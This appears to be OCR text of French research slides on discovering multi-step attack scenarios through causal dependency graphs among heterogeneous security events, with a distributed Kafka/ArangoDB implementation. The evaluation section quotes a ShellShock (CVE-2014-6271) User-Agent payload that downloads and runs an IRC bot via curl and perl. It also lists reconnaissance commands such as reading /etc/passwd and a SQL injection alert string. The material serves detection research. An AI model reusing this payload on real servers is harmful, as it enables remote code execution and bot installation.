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Sécurité et prévention

Mise en place de mécanismes pour préevenir les attagues

Vol de données
(Politique)

Il est indispensable de mettre en place des
moyens de détection et des capacités de réaction
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d’exploitation
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| DMZ Subnet |

(Analyse Paquets)

Hétérogénéité des événements (format et sémantique)

Chaqgue type d'événement peut aider d comprendre un scénario d'attaque
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[1] Navarro, J., Deruyver, A., & Parrend, P. (2018). A systematic survey on multi-step attack detection. Computers & Security.

I_—I._“ e I.—I._“ Comment construire les liens
@—'> ’@ entre événements ?

Approche classique dans les SIEM [1] :
Ecriture de regle de corrélation d’événements

> Expression d’un scénario d’attaque redouté

> Description de 1’enchainement des événements
a 1’aide d’un langage de description d’attaque

/\
/N /N

Alerte 1 Alerte 2 Alerte 3 Alerte 4
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Fusion du point de vue
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Challenges et limitations

Constat [2] : Exprimer un scénario d’'attaque redouté est difficile

La maijorité des approches proposees se basent exclusivement sur des alertes NIDS [2]
= Limite les capacités de détection et d'investigation

Nécessité de proposer nouvelles méthodes pour
identifier et découvrir des scénarios d'attaque

[2] Godefroy, E. (2016). Définition et évaluation d’un mécanisme de génération de regles de corrélation liées a 1’environnement. PhD then



A la recherche des liens de causalité

Objectif de 1’identification de
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Objectif de 1’identification de
scénarios d’attaque :
Retrouver tous les événements hétérogénes
1iés a un méme scénario d’attaque

Suspect 2. [l
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rr. : rr@

Netfilter.log
Syscall.log Syscall.log \I i .'

Idée : Ces liens entre événements hétérogenes

correspondent a des relations
de dépendance causale

Découverte de scénario d'attaque =

Traversée du graphe de dépendance causale

@APP 1, @Sys esys
<
4
eNeT eNe’r
4 < eSYS > eApp
App Sys eAIer’r
eree eNZT eNet
< 4
eSys eSys > eSys
Graphe de Graphe de
causalité dépendance




Ftude des relations de dépendance causale

Systemes distribués

Systeme distribué = collection de
processus communiquant & fravers
I'échanges de messages.

= Chaque nouvelle exécution
d'un calcul distribué peut étre
différente

= Nécessité d'ordonner les actions
d'un systeme distribué pour créer
des algorithmes pertinents

Relation de causalité

: Relation de causalité entre états d’objets
temporelle entre actions

Relation de D' Ausbourg

Relation de Lamport
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Ftude des relations de dépendance causale

Systemes distribués Flux d'information

Systeme distribué = collection de Systeme = ensemble de Systeme = Ensemble d'artefacts,
processus communiquant a travers conteneurs d'information de processus, et d’'agents
I'échanges de messages.

= L'information peut étre = Nécessité de pouvoir exprimer :
= Chaque nouvelle exécution transférée entre les conteneurs - d'ou provient une entité
d’'un calcul distribué peut étre (artefact ou processus) ;
différente = Flux d'information autorisé 2 - qui a agit sur I'entité ;

Nécessité de suivre les flux - comment elle en est arrivée d un
= Nécessité d'ordonner les actions | d'information pour déterminer état donné ;
d'un systéme distribué pour créer cprr)mgnf I’informo’riop se - quelles,ou’rres entités elle a
des algorithmes pertinents dissemine dans le systeme influence.

Relation de causalité

: Relation de causalité entre états d’objets
temporelle entre actions

Relation de D' Ausbourg

Relation de Lamport
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Relation de Lamport

Modélisation d’'un systéme distribué

Systeéme distribué = collection de processus :
(1) disjoints (horloges locales +
memeotrepartagee) | a b c1!m
(2) pouvant communiquer par 1
échanges de messages.

~
-
i)

Processus = Séquence d’'actions ;

P2 | ! :

Les horloges locales ne sont pas d
synchronisées ;

O
g
~

RS

] L'ordre de réception des messages n’est pas
garanti.




Relation de Lamport — « Happened-Before » 14

Relation d'ordre partielle sur a b | ci1lm
I'ensemble des actions produites par D1 , , , N tpl
les processus du systeme distribué
i == == . p2 i i i > tp2
B sip,==p,=p. 1<ty ) c?m e
a<b cllm< clem
a<e alld

[4] Lamport, L. (1978). Time, clocks, and the ordering of events in a distributed system. Communications of the ACM.
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Relation d'ordre partielle sur T b c1lm
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Relation de D' Ausbourg s

] Systéme = Collection d'objets ayant des états
B un état (o0.t) correspond a la valeur d'un objet 0 au moment t

L) Les états des objets sont liés par des flux d'information

[5] d’Ausbourg, B. (1994). Implementing secure dependencies over a network by designing a distributed security subsystem. ESORICS.
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] Systéme = Collection d'objets ayant des états

B un état (o.t) correspond & la valeur d'un objet 0 au moment t

L) Les états des objets sont liés par des flux d'information

(0,.1,) — (o,t,)

Relation d’ordre partielle sur
I'ensemble des états des objets du

systéme 01 -t
B Si 3 un flux d'information de
(0,.1,) vers (o,t,) ; 09 -

[5] d’Ausbourg, B. (1994). Implementing secure dependencies over a network by designing a distributed security subsystem. ESORICS.
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] Systéme = Collection d'objets ayant des états

B un état (o.t) correspond & la valeur d'un objet 0 au moment t

L) Les états des objets sont liés par des flux d'information

(0,.1,) — (o,t,)

Relation d'ordre partielle sur

I'ensemble des états des objets du (o1,t1)] (o1,t2) (o1,t3) (o01,ta)
systéme 01 | - T
] si 3 un flux d'information de
(o.1,) vers (o,t,) 0o | . y

B ouid(oh)/ (02,t1) (02,t2) |(02,t3)| (02,t4)

(0.t,) = (o) A (0.1) = (0,1,).

[5] d’Ausbourg, B. (1994). Implementing secure dependencies over a network by designing a distributed security subsystem. ESORICS.
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[} Considére un unique type d’objets
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Actions reliées par
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Actions réellement
causalement dépendantes




Limitations des relations

Relation de Lamport
Causalité temporelle entre actions

Relation de D' Ausbourg
Causalité entre états d'objets

[} Considére un unique type d’objets
(processus)

Actions reliées par
la relation de Lamport

Actions réellement
causalement dépendantes

(0,.t)) — (0,1,

[} Relation entre les états des objets (et
non pas les événements)

. Les sondes de supervision capturent
généralement des actions
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Dépendances
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de Lamport et de
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Ensemble d'objets

Un objet a un état et peut effectuer des actions

3 des dépendances causales au sens de Lamport et de D’ Ausbourg

La supervision de sécurité produit des observations et des événements




|dée

Dépendances ,Q Dépendances
Causales au sens — @ Causales entre
de Lamport et de Evénements

D’Ausbourg Hétérogenes

Ensemble d'objets
Un objet a un état et peut effectuer des actions

3 des dépendances causales au sens de Lamport et de D’ Ausbourg

La supervision de sécurité produit des observations et des événements




Contribution

Dé&finition de trois nouvelles relations de dépendance causale

Dépendances i:* Dépendances
Causales au sens — Causales entre
de Lamport et de Evénements
D’Ausbourg Hétérogenes
B Dépendance causale entre actions contextuelles [CACD] (a,.(0,.1,)) » (a,.(0,1))
7 V4 z A
B Dpépendance causale entre événements contextuels [CECD] (e,0,t.) (e,0,t.)

B Dépendance causale entre événements bruts [ECD] e b e




Définition d'une action contextuelle

Une action est effectuée par un objet dans un contexte particulier

Action contextuelle (a,(0.1)) :

O (o.t) estI'état de I'objet o au temps t.
[ o est un objet actif ou passif ;

Processus Réseau ~ Fichier /

[ a € ObjectActions(o) avec ObjectActions(o)={ai}u{@} ;

Un objet passif ne réalise pas d’'action.
On note cette absence @ (élément nul).




Définition d'une session

Constat : I'exécution d'un objet peut étre divisée
en plusieurs intervalles de temps indépendants

Objectif d'une session :
Réduire le nombre de fausses dépendances causales




Définition d'une session

Constat : I'exécution d'un objet peut étre divisée
en plusieurs intfervalles de tfemps indépendants

Objectif d'une session :
Réduire le nombre de fausses dépendances causales

Séguence d'actions contextuelles dont les états sont
causalement dépendants au sens de D' Ausbourg

r:=1 r:=x+1 r:=0
X = 1 3 O I I > to
o (0.t1) = (0.t2) #  (o1s)

Sessiony(0) Sessions (o)




Dépendance causale entre actions contextuelles

[CACD] (a,.(0,1)) » (a,.(o,t)) ﬁ%

O Ifo,==0,==0,3dn/
(a,.(0,.1,)) € Session (o) A

(3,,(0,1,)) € Session, (o) A Session(01) Sessions(01)
t <t Y
[(a1, (01, £1))| [(as, (01,t5))]  (as, (01,1)) (a4, (01,14))
01 f : I i tol
) \I I/’ B
(az, (02,12)) (a3, (02,13))
Sessioni(02)

(a,.(0,.1))) » (ag(0,1))




Dépendance causale entre actions contextuelles

[CACD] (a,.(0,1)) » (a,.(o,t)) ﬁ%

Sessiony(01) Sessions(o1)

[(a1, (01,2))|  (as, (o1,15)) (a67(|01>t)) (a4,(01,t4))t

: . 0 .
B Orifo,#0, (0.1,) — (0,1,); ! \ | /
. . . t,

09 f
l(az, (02, 12))] (a3, (02, 13))

1

2

Sessioni(02)

(a,.(0,.1))) = (a,(0,1))




Dépendance causale entre actions contextuelles

[CACD] (a,.(0,1)) » (a,.(o,t)) ﬁ%

Sessiony(01) Sessions(o1)

[(a1, (01,2))|  (as, (o1,15)) (a67(|01>t)) (a4,(01,t4))t

[(@2. (02, 12))] (a3, (02, 3))

01

1

B oOrifo, #0, a,=Im A a,=2m, 02
e, a <a,:

2

Sessioni(02)

(a,.(0,.1))) = (a,(0,1))




Dépendance causale entre actions contextuelles

[CACD] (a,.(0,1)) » (a,.(o,t)) ﬁo‘%

Sessiony(01) Sessions(o1)

(as,(01,15)) (a6, (|01 1))

(a1, (o1,t1))
01 }

02

(a2, (02,1t2)) (a3, (02,t3))

@ oracof)/ Sessiony(02)
(a,.(o,.1,)) » (c.(ot)) A

(C.(01)) = (a,(0,1,)).

(a.(0,1)) » (a,(0,1,)) P (as(0,1,)) = (a,(01,))




Définition d'un événement contextuel

Un événement contextuel correspond a
I'observation d'une action contextuelle

Evénement contextuel (e,o.t ) :

] e € Eavec El'ensemble des événements produits par les sondes
de supervision ;

] ol'objet observé ;
B t_ I'norodatage de I'événement e

Introduction of the function Obs :
Obs((a,(o.1)))) ={(e. o, T_)}u{(D, 0, 1 )}

L'absence d’'observation pour une action contextuelle
(a,(o,f_)) donnée est notée (0, o, T ).




Dépendance causale entre événements contextuels

a)
Q (aulo, ) (afod)  (aylo,t)
O

,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,




Dépendance causale entre événements contextuels

a) Dépendances QC:
| Causales au sens
2 (a.(o.1)) + (a.(ot)) » (a.(o,t)) deULamportuet de
E D’Ausbourg S

7777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777 CACD décrit 1’activité du
systéme supervisé




Dépendance causale entre événements contextuels
a) Dépendances a
2 (@foh)) = (@0l (@0t Pt
O Obs Obs Obs D*Ausbourg =

(2,0,1) (e,,0,,1,) Obs((a.(o.t,))) = {(e, o, t)}u{(@, o, 1)}




Dépendance causale entre événements contextuels
a) Dépendances a
2 (@foh)) = (@foll) (@0t Pt
O Obs Obs Obs D*Ausbourg =

(2,01 — (e,0,1) Obs((a.(o.1,))) ={le, o. 1,)}u{(2. 0, 1)}




Dépendance causale entre événements bruts

Dépendances

§ Causales au sens
(O]'(O]'T])) = (O'(O'T)) = (02'(OQ'T2)) de Lamport et de

lObs lObs lObs ﬂ D’Ausbourg
(€,4:0,/1010)

Tout événement contextuel
observé est 1lié a une ligne de
log (événement brut)

Q

O €

| e
O 2
i SR




Dépendance causale enfre événements bruts

N Dépendances

i Causales au sens
2 (O]'(O]'T])) = (G'(O'T)) i (02'(02'T2)) deULamportUet de
O

lObs lObs lObs ﬂ D’ Ausbourg

o
8 (e O]'Tek;) —\L
O,

=

(e1b'o1 'Te1 b)

—_ e :H: Dépendances
E} | la :::::::::::E::::::::::::::=(32 Causales entre
0 | €., Evénements
— Hétérogenes

Modele global metftant en évidence les relations entre

objets actifs, objets passifs, et eévénements [¢]

[6] Xosanavongsa, C., Totel, E., & Bettan, 0. (2019). Discovering correlations: A formal definition of causal dependency among
heterogeneous events.In 2019 IEEE European Symposium on Security and Privacy (EuroS&P)
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Stratégie Descendante

Calcul de CACD

Vision omnisciente du systeme

_ Nous devons étre capable de :
Observation des

dépendances causales entre .
actions contextuelles

Observation des
Actions contextuelles Observer des actions effectuées par les

objets supervisés

] Observer les états des objets liés & ces
actions

. |dentifier et tracer les dépendances
causales entre actions contextuelles

_[CECD] [CACD]

_[ECD]




Stratégie Descendante

_[ECD]

_[CECD] [CACD]

Observation des
Actions contextuelles

|

~ Enregistrement des
- événements confextuels

|

Enregistrement des
Evénements bruts

Calcul de CACD

Vision omnisciente du systeme

Observation des
dépendances causales entre
actions contextuelles

|

Enregistrement des
dépendances causales entre
événements contextuels

|

Enregistrement des
dépendances causales entre
événements bruts

Nous devons étre capable de :

. Observer des actions effectuées par les
objets supervisés

] Observer les états des objets liés & ces
actions

. |dentifier et tracer les dépendances
causales entre actions contextuelles

. Calculer la fonction Obs pour enregistrer
ces informations sous forme
d’événements




Stratégie Descendante

Calcul de CACD
Vision omnisciente du systeme

Difficile de mefttre en place un tel systeme de supervision :
Outils non disponibles
CouUt en terme de performance




Stratégie Ascendante

Utilisation de la sémantique des événements :

= Approximation des événements contextuels
= Caleul-desactonscontextgeles

I—Ii
8 i
O,
H%
8 i
LLl
O, -

| type=SYSCALL msg=audit(1585927592.670:62327):

§ arch=c000003e syscall=288 success=yes exit=10 [..]

3 ppid= pid= ..] ses= comm=“apache
'5' 1d=22891 p1d=22898 [..] 4294967295 “ he2”
(_)§ £y exe=“/usr/sbin/apache2” key=(null)
el veénements bruts type=SOCKADDR msg=audit(1585927592.670:62327):

_ saddr=02008108AC1000020000000000000000
‘ (saddr= (AF INET) 172.16.0.1 : 33032)




Stratégie Ascendante

Utilisation de la sémantique des événements :

= Approximation des événements contextuels
= Caleul-desactonscontextgeles

5
O,

172.16.0.1 apache2
'5'3 pid 22898
oo Déduction des (¢,5,1'e) (elqpqlfe)

Q evenements confextuels
— type=SYSCALL msg=audit(1585927592.670:62327):

§ ﬂ arch=c000003e syscall=288 success=yes exit=10 [..]

3 ppid= 1 pid= ..] 5es=4294967295 comm="apache
Ej 1d=22891 pid=22898 [..] 29496729 “apache2”
O £y exe=“/usr/sbin/apache2” key=(null)
el venements bruts type=SOCKADDR msg=audit(1585927592.670:62327):

_ saddr=02008108AC1000020000000000000000
‘ (saddr= (AF INET) 172.16.0.1 : 33032)




Stratégie Ascendante

Utilisation de la sémantique des événements :

= Approximation des événements contextuels
= Caleul-desactonscontextgeles

2y a = accept4() [Syscall 288]
() Actions contextuelles @ (s 1 4
< correspondantes ( (S )) (G,(CIpCI, 0))
O,
. ﬂ 172.16.0.1 apache2
D 3303 pid 22898
8 - Déduction des (¢,5,1'e) (elqpqlfe)
Q evenements confextuels
— type=SYSCALL msg=audit(1585927592.670:62327):
§ ﬂ arch=c000003e syscall=288 success=yes exit=10 [..]
. ppid=22891 pid=22898 [..] ses=4294967295 comm="“apache2”
n
O £y exe=“/usr/sbin/apache2” key=(null)
el veénements bruts type=SOCKADDR msg=audit(1585927592.670:62327):
_ saddr=02008108AC1000020000000000000000
‘ (saddr= (AF INET) 172.16.0.1 : 33032)




Stratégie Ascendante

Utilisation de la sémantique des événements :

= Approximation des événements contextuels
= Caleul-desactonscontextgeles

2y _ a = accept4() [Syscall 288]
O  Actions contextuelles Connaissance des
i dépendances causales entre (2,(s.t)) = (a.(apa.t))
< correspondantes | : a a
O —® actions confextuelles
— ﬂ 172.16.0.1 apache2
D 3303 pid 22898
8 - Déduction des (¢,5,1'e) (elqpqlfe)
Q evenements confextuels
— type=SYSCALL msg=audit(1585927592.670:62327):
§ ﬂ arch=c000003e syscall=288 success=yes exit=10 [..]
. ppid=22891 pid=22898 [..] ses=4294967295 comm="“apache2”
o - bi he2” key=(null
U | E , s brut exe=“/usr/sbin/apache ey=(null)
el venements Druts type=SOCKADDR msg=audit(1585927592.670:62327):
_ saddr=02008108AC1000020000000000000000
‘ (saddr= (AF INET) 172.16.0.1 : 33032)




Stratégie Ascendante

Utilisation de la sémantique des événements :

= Approximation des événements contextuels
= Caleul-desactonscontextgeles

~ _ a = acceptd() [Syscall 288]
O Actions contextuelles , Connaissance des
< comespondantes dépendances causales entre (¢,(S,TO)) - (CI,(CIpCI,fO))
O — 1 ® actions contextuelles
—_
-—- ﬂ ‘U’ apache2
(A P . , 3303 pid 22898
O | ] _ Déduction des dépendances
Q1  Deduction des causales entre événements (¢,S,1'e) —— (e,opa,’re)
Q evenements contextuels contextuels
'_' type=SYSCALL msg=audit(1585927592.670:62327):
| ﬂ arch=c000003e syscall=288 success=yes exit=10 [..]
E‘ ppid=22891 p1d=22898 [..] ses=4294967295 comm=“apache2”
O £y exe="“/usr/sbin/apache2” key=(null)
el vénements bruts type=SOCKADDR msg=audit(1585927592.670:62327):
— saddr=02008108AC1000020000000000000000
| (saddr= (AF INET) 172.16.0.1 : 33032)




Stratégie Ascendante

_[ECD]

_[CECD] [CACD]

Utilisation de la sémantique des événements :

= Approximation des événements contextuels
= Caleul-desactonscontextgeles

Actions contextuelles
correspondantes

1

Déduction des

- événements contextuels

1

Evénements bruts

Connaissance des
dépendances causales entre

—® qctions contextuelles

|

Déduction des dépendances
causales entre événements
contextuels

|

Déduction des dépendances
causales entre événements
ruts

{"__source":"Net_Zeek.log"," _type":"NET",
"utd"'"C7SKfD3hbTetA4ch2" "ts":"2020-04-
03T15:28:45.389087Z2","1d.orig_h":"172.16.0.2","id.orig_
p":33032, "id.resp_h":"192.168.51.100“,

"id.resp_p":80, "method":"GET","host":"172.16.0.1","uri"
:"/cgi- bln/shell sh","user agent"'"() { 53}
Jusr/bin/perl -e ’print \"Content- Type text/plaln\\r\\
n\\r\\nATTACK SUCCESS\\n\"; system(\"/usr/bin/curl
http://172.16.0.2/attacker1-irc-bot.pl -o /tmp/core;
perl /tmp/core; rm /tmp/core;\");’"}

Y,

type=SYSCALL msg=audit(1585927592.670:62327):
arch=c000003e syscall=288 success=yes exit=10 [..]
ppid=22891 pid=22898 [..] ses=4294967295 comm="“apache2”
exe=“/usr/sbin/apache2” key=(null)
type=SOCKADDR msg=audit(1585927592.670:62327):
saddr=02008108AC1000020000000000000000
(saddr= (AF INET) 172.16.0.1 : 33032)




Architecture — Nos besoins

Calcul de CECD Transport des données Stockage des données

. |dentification des objets

) Calcul des événements
contextuels [CE]

. Calcul des dépendances
causales [CD],
(Flux d’Info + Echanges de MsQ)

. Calcul des sessions

. Gestion des lignes de temps
(Timelines)

Transform
Component

Architecture répartie




Architecture — Nos besoins

Calcul de CECD Transport des données Stockage des données

. Aucune perte de données
entre les différents composants
(Transform Component)

] systéeme permettant & chagque
composant de calculer a son
rythme

. Rétention des données en cas
d’indisponibilité

. Temps réel

& kafka.

Systéme de publication-souscription




Architecture — Nos besoins

Calcul de CECD Transport des données Stockage des données

Base de données adaptée
pour les structures de graphe

Calcul de traversées de graphe

Adaptée a larecherche
textuelle

@ ArangoDB

BDD Graphe multi-modéles




Architecture répartie

| CEs & CDs|
@l Legend
| CEs & CDs|
Apache
Transform
@" CEs & CDs| Component
:**~ Load
:.... Component
| CEs & CDs|
Firewall Kafka
Zeek NIDS Topic
@I @., CEs & CDs} — Publishes To
Suscribes To
MySQL @+ CEs & CDs|
Calcul des

flux d’information




Architecture répartie

| Timelines
| Apache

Msg Exch

Calcul des
échanges de MSG

| Timelines
| MySQL

Calcul des
lignes de temps
+
Calcul des sessions

Legend

Transform
Component

* Load
-+ Component

Kafka
Topic

— Publishes To

Suscribes To




Architecture répartie

Indexation
dans la BDD

L )”

; (?raphl?l?é

Legend

Transform
Component

:**~ Load
:.... Component

Kafka
Topic

— Publishes To

» Suscribes To




Architecture répartie

apai
+| CEs & CDs|—
@l apas | Indexation I 4
Timelines dans 1la BDD egen
| CEs & CDs §Q | Apache
Apache ap
Transform
@" CEs & CDs §€ Component
M " Load
@l @_» Fs 5 CDo §8 Msg Exch | | - Component
Firewall Calcul des : GraphDB : Kafka
Zeek NIDS échanges de MSG Connector: Topic
sqly
@_, CEs & CDs §g . . I — Publishes To
@I | Timelines
sqlo MySQL T~ > Suscribes To
MySQL e~ CEs & CDs}—— §€
Calcul des
lignes de temps
Calcul des +

flux d’information Calcul des sessions




Construction du graphe CECD

Déduction des objets + Timestamp

Apache 5 Bc’edtret—teﬁ
App Log d*échanges—de
messages
Apache
7eek NIDS Déduction
Alertes + = d’échanges de
. messages
Connection Investigation
Déduction @l
. d’échanges de Frewall
Netfilter = messages Zeek NIDS
Connection Pont entre Réseau
et 0S
. Déduction de flux @l
A
AUd;{: — d’information MySQL
S EP Déduction de
ystemes

Sessions




Construction du graphe CECD

Déduction des objets + Timestam ext N
J P netwgy, > tapa
Apache Péduction Saccept > tapa
= d’échanges de
App Log
messages
apache > tapa
Apache
Zeek NIDS ~ Déduction Sconnect > Lapa
Alertes + = d’échanges de '
; messages netwgg';z > tapa
Connection Investigation
) J— :
Déduction . netheek > tzeek
. d’échanges de Frewall
Netfilter = messages Zeek NIDS fpint 4
Connection Pont entre Réseau ne wsql > Usql
et 05 Saccept > tsql
Auditd Déduction de flux @l mysqld > tsql
Aopels = d’information MySQL
p[? Déduction de . /
Systemes Sescions movies.db > Usql

tab_schem.db

Y




Construction du graphe CECD

Déduction des objets + Timestamp

Apache
App Log

Zeek NIDS
Alertes +
Connection

Netfilter
Connection

Auditd
Appels
Systémes

Dédtet
= ¢’échanges—de
messages

Déduction
d’échanges de
messages
Investigation

Déduction
d’échanges de
messages

Pont entre Réseau
et 0S

Déduction de flux
d’information
Déduction de
Sessions

netwggz

Saccept

@l apache
Apache

Sconnect

netwé%z

B o
Firewall

Zeek NIDS -

netw*™

sql

@l Saccept

mysqld

MySQL ysq
movies.db

tab_schem.db

Net Net
eh?tp eh}ﬁtp t
' ' > Lapa
Sys Sys Sys App Sys
connect write read Req accept t
t i t 1 i ! > lana
eSys Sys esys p
accept”read write _ t
) ' > Lapa
eNet eNet p
“conn conn t
Net > Lapa
conn
eNet
—conn,alert _ t
> Lzeek
Net Net Net
econn econn conn t
’ ’ > lsql
Sys Sys _Sys Sys > tsql
sendto read read accept t
' ' — ' ' ' > lsql
eSys Sys Sys
accept “recvfrom sendto
> tsql

\ 4




Construction du graphe CECD

Déduction des objets + Timestamp

Apache
App Log

Zeek NIDS
Alertes +
Connection

Netfilter
Connection

Auditd
Appels
Systémes

Dédtet
= ¢’échanges—de
messages

Déduction
d’échanges de
messages
Investigation

Déduction
d’échanges de
messages

Pont entre Réseau
et 0S

Déduction de flux
d’information
Déduction de
Sessions

Apache

= —

ext

netwgp,

Saccept

apache

Sconnect

nt

netw

. zeek
Firewall

Zeek NIDS -
netwml

sq
@l Saccept
muysqgld

MySQL ysq
movies.db

tab_schem.db

Net Net
€http http
Sys Sys Sys App Sys
econnect write read Req accept
€Sy8 Sys * * ? eSys
accept read? . . write _
Net \ Net /
_econn, y €conn 4 _
Net ~
€conn
eNet
—conn,alert _
Net Net Net
econn,l _econn, ) €conn -
Sys Sys Sys ' Sys -
sendto * * 7%xu1 read accept
Sys Sys Sys
accept “recv flrom sendto

\ 4




Construction du graphe CECD

Déduction des objets + Timestamp

Apache
App Log

Zeek NIDS
Alertes +
Connection

Netfilter
Connection

Auditd
Appels
Systémes

Dédtet
= ¢’échanges—de
messages

Déduction
d’échanges de
messages
Investigation

Déduction
d’échanges de
messages

Pont entre Réseau
et 0S

Déduction de flux
d’information
Déduction de
Sessions

t

netwegp,

Saccept

@l apache
Apache

Sconnect

netwégz

B o
Firewall

Zeek NIDS ot

netw*™

sql

@l Saccept

mysqld

MySQL ysd
movies.db

tab_schem.db

Net Net
eh?tp ehttp t
* /‘ apa
| ’ ’ tapa
Sys Sys Sys App Sys
ecormmect write read Req accept t
+ 1 1 t —> lapa
eSys Sys * * ? esys p
accept”read? . . write _ t
' | ' > Lapa
eNet \ eNet / p
Y~conn "\ conmn 4
Net ‘ apa
€conn
eNet
\ “conmn,alert t
' zeek
Net\ VNet \ Net
econn econn econn t
N / L
S’yS Sys Sys : S’yS - tSC]l
sendto * * read rea,d accept t
' ' ' > lsql
Sys Sys Svys
accept "recv flrom sendto

Y




Calcul des graphes de causalité et de dépendance

Déduction des objets + Timestamp

Apache
App Log

Zeek NIDS
Alertes +
Connection

Netfilter
Connection

Auditd
Appels
Systémes

Déduets

= ¢’échanges—de

messages

Déduction
d’échanges de
messages
Investigation

Déduction
d’échanges de
messages

Pont entre Réseau
et 0S

Déduction de flux
d’information
Déduction de
Sessions

Apache

@l netw

Firewall
Zeek NIDS

MySQL

Net eth
ext http http -
netu@pa ; )i "tapa
Saccept ; > tapa
Sys Sys Sys APP eSys
Cconnect Cwrite read ch accept
apache —> tapa
Sys Sys ¢ * * Sys
e e ..
acceptCread write o t
Sconnect = ; > Lapa
eNet \ Net /
int V"“conn \ conmn 4 -
netwi, — : : > Lapa
Grapheﬁ’cfién Nt \ Graphe de

netw'n!
sql
Saccept

mysqld

movies.db

tab_schem.db

it cqusall’re

Net\
conn

\

conn,alert

Net Net
€ s conmn . 6(:O7L7L -
Sys S’Js SJ% ' Sys .
sendto ¢ * read €read accept
Sys SJS Sys
e |
accept recuv flrom sendto

Y

Y

dépendance. ;.

tsql
tsql
tsql

tsql



Visualisation des graphes de causalité et de dépendance

Alertes

v contextual_events/ae7eccd78a0c4babbocessaafbf12dos
contextual_events/ae7eccd78a0cdbabbicsssaafbf12dos

vce_object
e G contextual_events/476b82F304d34d3530883334198ce599

SrC_ip:192.168.1.2 contextual_events/fs7657C767504048b985d0d786535372
src_p: 48214

dst ip:192.168.1.3

dst_p:3306

vevent

ts: 2018-11-04T21:50:39.6552407
uid: CIr82ZKcEUUZMrGH4
idorig_h:192.168.1.2

id.orig_p: 48214
idresp_h:192.168.1.3

id.resp_p: 3306

proto: tep

° note: MysQL::Sqi
a en g es . msq: SELECT * FROM movies WHERE title LIKE '%';--%'

sub @ SQLI Attempt : Comment syntax detected,
src:192.168.1.2
] dst:192.168.1.3
- Afficher un grand nombre de neuds 2% e —

Label du noeud
vactions[]

0: Notice: ACTION_LOG

- Présenter les graphes de maniéres sppres o 4100 Gt e o (i

_ source: Net_Bro_notice.log

- N
pertinentes =

- Interface d’investigation
intuitive

Graphe depuisle noeud sélectionné
Profondeur: |25 -

Graphe des causes

& Graphe des dépendances

Remplacer le graphe actuel

ConnectionObject | | M SysSocketObject | | M ProcessObject || M FileObject | | M UnknownObject




Contexte

Ftat de I’ Art
Conftribution
Implémentation

Evaluation
— Dataset idéal
— Scénario ShellShock & Remote Access Tool

Conclusion & Perspectives



Dataset Idéal

0 Composés d'événements hétérogenes (provenant de différentes couches
d’'abstraction) ;

I Contenant au moins un scénario d’attaque multi-étapes ;

[ Contenant du bruit (événements générés par une activité légitime du
systeme).

Constat : Dataset publique non disponible

= Mise en place de notfre environnement de test




Scénario d'attaque - ShellShock & Remote Access Tool

ShellShock = Exécution de code arbitraire — Variable d'environnement Bash

RAT = Télechargement et exécution d’'un bot IRC

Firewall
Zeek NIDS
‘—@l | DMZ Subnet |

Apache MySQL

& &

Bash ShellShock
(CVE-2014-6271)

Attagquant

(1) Attaque ShellShock
Requéte HTTP GET
User Agent ="() { :;3}; [..]
system(\"/usr/bin/curl
http://172.16.0.2/attacker1-irc-
bot.pl -o /tmp/core; perl
/tmp/core; rm /tmp/core;\");'

Alerte




Scénario d'attaque - ShellShock & Remote Access Tool

ShellShock = Exécution de code arbitraire — Variable d'environnement Bash

RAT = Télechargement et exécution d’'un bot IRC

Firewall
Zeek NIDS

DMZ Subnet |

H @8

Apache

&

Attagquant

(1) Attaque ShellShock

Requéte HTTP GET
User Agent ="() { :;3}; [..]
system(\"/usr/bin/curl

http://172.16.0.2/attacker1-irc-
bot.pl -o /tmp/core; perl
/tmp/core; rm /tmp/core;\");'

(2) Téléchargement IRC bot
Jusr/bin/curl
http://172.16.0.2/attacker1-irc-
bot.pl -o /tmp/core

MySQL

Bash ShellShock
(CVE-2014-6271)




Scénario d'attaque - ShellShock & Remote Access Tool

ShellShock = Exécution de code arbitraire — Variable d'environnement Bash

RAT = Télechargement et exécution d’'un bot IRC

Firewall
Zeek NIDS
‘—@l | DMZ Subnet |

Apache MySQL

g &
@ 3

(3) Exécution IRC bot
perl /tmp/core

Attagquant

(2)




Scénario d'attaque - ShellShock & Remote Access Tool

ShellShock = Exécution de code arbitraire — Variable d'environnement Bash

RAT = Télechargement et exécution d’'un bot IRC

Firewall
Zeek NIDS
‘—@l | DMZ Subnet |

Apache MySQL

®
(4)
(4) Suppression du

fichier IRC bot
rm /tmp/core

Attagquant

(2)




Scénario d'attaque - ShellShock & Remote Access Tool

ShellShock = Exécution de code arbitraire — Variable d'environnement Bash

RAT = Télechargement et exécution d’'un bot IRC

Firewall
Zeek NIDS
‘—@l | DMZ Subnet |

Apache MySQL

o
(4)

Attagquant

(%)

(5) Résolution DNS
+ Connexion au C&C




Scénario d'attaque - ShellShock & Remote Access Tool

ShellShock = Exécution de code arbitraire — Variable d'environnement Bash

RAT = Télechargement et exécution d’'un bot IRC

Firewall
Zeek NIDS
‘—@l | DMZ Subnet |

Apache MySQL

o
(4)

Attagquant

(6)

(6) Reconnaissance
uname -a
cat /etc/passwd




Résultats — Découverte de la totalité des événements

CECD Graph Dep Graph

Count Count | Ratio

I] Raw Events 34117 1992 | 5.8 %
Contextual Events 68107 3610 | 5.3 %
Causal Dependencies 79460 4583 | 5.8 %
Objects 23583 620 | 2.6 %
— ConnectionObject 109 4| 3.7 %
— DirectoryObject 36 0 0 %
— FileObject 587 1| 02%
— MemoryObject 4232 546 | 12.9 %
— ProcessObiject 259 51 | 19.7 %
— SysSocketObject 1470 5| 03%
— UnixSocketObject 2 0 0 %
— UnixSocketPairObject 7 0 0 %
— UnknownObject 16929 2 | 0.01%
— UnnamedPipeObiject 73 11 | 15.1 %

Calcul du graphe de dépendance a partir
de l'alerte

Aucun Faux positifs

La fotalité des événements comrespondent
aux différentes étapes du scénario d'attaque

(1) Attaque ShellShock - Requéte HTTP
(2) Téléchargement bot IRC

(3) Exécution bot IRC

(4) Suppression du fichier bot IRC
(5) Connexion au serveur C&C

(6) Reconnaissance




Résultats — Graphe de dépendance de |'alerte

{"__source":"Net_Zeek.log","__type":"NET", "uid":"C7SKfD3hbTetA4cQb2",

“ts":"2020-04-03T15:28:45.389087Z", "id.orig_h":"172.16.0.2",

“id.orig_p":33032, "id.resp_h":"192.168.51.100", "id.resp_p":80,
